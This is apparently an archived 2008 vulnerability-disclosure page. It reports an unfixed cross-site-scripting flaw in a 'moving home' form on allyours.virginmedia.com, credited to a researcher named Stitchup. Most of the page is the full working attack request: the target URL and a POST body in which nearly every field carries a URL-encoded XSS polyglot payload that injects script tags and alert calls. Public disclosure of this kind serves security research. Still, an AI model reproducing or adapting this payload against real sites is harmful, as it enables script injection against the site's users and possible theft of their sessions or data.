Security researcher Stitchup, has submitted on 17/04/2008 a cross-site-scripting (XSS) vulnerability affecting allyours.virginmedia.com, which at the time of submission ranked 1082 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 17/04/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 17/04/2008 |
Date published: 17/04/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Stitchup |
Domain: allyours.virginmedia.com |
Category: XSS |
Pagerank: 1082 |
|---|
| URL: http://allyours.virginmedia.com/cgi-bin/formactions/moving_home.pl |
| POST: formName=Moving+Home+Form¤t_page=moving_home_your_details.html&validate=Y&personalAccountNumbe r=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2 888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert% 28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28 String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&personalAccountPassword=&personalFirstname=% 27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888 %2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28S tring.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28Str ing.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&personalSurname=%27%3Balert%28String.fromCharCo de%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Bal ert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2 C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C8 3%29%29%3C%2FSCRIPT%3E&personalDaytimePhone=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2 F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode %2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2 FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&pe rsonalEveningPhone=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28Stri ng.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F% 2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3C SCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&personalMobilePhone=%27%3Ba lert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83% 2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String. fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fr omCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&personalEmail=%27%3Balert%28String.fromCharCode%2888% 2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28St ring.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%2 9%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29% 3C%2FSCRIPT%3E&lastBillPound=%27%3Bal&lastBillPence=%27%3B&personalHouseNameOrNumber=%27%3Balert%28S tring.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29% 29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromChar Code%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCo de%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&personalCurrentPostcode=%27%3Balert%28String.fromCharCode%288 8%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28 String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29 %29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%2 9%3C%2FSCRIPT%3E&enquiryType=cancelHouseMove&next.x=19&next.y=9 |
|
Click here to view the mirror
|
|
|
| 
